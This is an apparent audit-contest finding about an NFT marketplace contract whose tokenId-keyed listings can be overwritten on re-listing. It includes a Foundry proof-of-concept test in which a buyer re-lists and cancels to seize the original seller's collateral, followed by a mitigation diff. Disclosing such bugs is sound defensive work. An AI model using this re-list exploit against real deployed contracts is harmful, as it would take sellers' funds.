NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

s_listings Keyed by tokenId Causes Record Overwrite, Permanently Locking Original Seller Funds Description

Author Revealed upon completion

Root + Impact

Description

  • Under normal protocol operation, a seller lists an NFT, a buyer purchases it, and the seller calls collectUsdcFromSelling — all authenticated via s_listings[tokenId].seller. The system assumes this mapping entry is stable for the lifetime of the seller's claim.

  • s_listings uses tokenId as its mapping key rather than an independent auto-incrementing listing ID. After a buyer purchases an NFT, they become the new owner and may legitimately re-list it by calling list(tokenId, ...). This call unconditionally overwrites the entire s_listings[tokenId] struct, including the seller field, permanently erasing the original seller's record. All subsequent calls by the original seller to collectUsdcFromSelling fail the onlySeller check, and their sale proceeds plus collateral are locked in the contract with no recovery path.

function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
@> s_listings[_tokenId] = Listing({
seller: msg.sender, // @> BUG: silently overwrites the previous seller's record
price: _price,
nft: address(this),
tokenId: _tokenId,
isActive: true
});
}
function collectUsdcFromSelling(uint256 _tokenId) external {
@> require(s_listings[_tokenId].seller == msg.sender, "Only seller can collect");
// @> After the buyer re-lists, the original seller can never pass this check
}

Risk

Likelihood:

  • Re-listing a purchased NFT is the most natural action in any NFT marketplace; normal, non-malicious usage is sufficient to trigger this bug unintentionally.

A malicious buyer can deliberately exploit this by immediately re-listing after purchase, combined with cancelListing, to seize the original seller's collateral.

Impact:

  • The original seller suffers a 100% loss of both sale proceeds and minting collateral with no on-chain recovery mechanism.

A malicious buyer nets lockAmount (20 USDC) per targeted NFT, and the attack can be repeated indefinitely across different tokenId values.

Proof of Concept

Add this to 2026-03-NFT-dealers/test/NFTDealersTest.t.sol,run forge test --match-test testPoC_C04_KeyCollisionLocksSellerFunds -vvvv

function testPoC_C04_KeyCollisionLocksSellerFunds() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 lockAmt = nftDealers.lockAmount();
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
// Alice mints, lists, and is bought by Bob
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft();
nftDealers.list(tokenId, nftPrice);
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(tokenId);
// Bob immediately re-lists, overwriting Alice's record
nftDealers.list(tokenId, 500e6);
nftDealers.cancelListing(tokenId); // Bob collects Alice's collateral
vm.stopPrank();
// Alice can no longer collect — her record was overwritten
vm.expectRevert("Only seller can call this function");
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
}

Recommended Mitigation

Replace tokenId-keyed listings with an auto-incrementing listingId. Each listing gets a unique, immutable identifier that is unaffected by subsequent re-listings of the same token.

+ uint256 public listingsCounter;
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
+ listingsCounter++;
activeListingsCounter++;
- s_listings[_tokenId] = Listing({ seller: msg.sender, ... });
+ s_listings[listingsCounter] = Listing({
+ seller: msg.sender,
+ price: _price,
+ nft: address(this),
+ tokenId: _tokenId,
+ isActive: true
+ });
- emit NFT_Dealers_Listed(msg.sender, _tokenId);
+ emit NFT_Dealers_Listed(msg.sender, listingsCounter);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!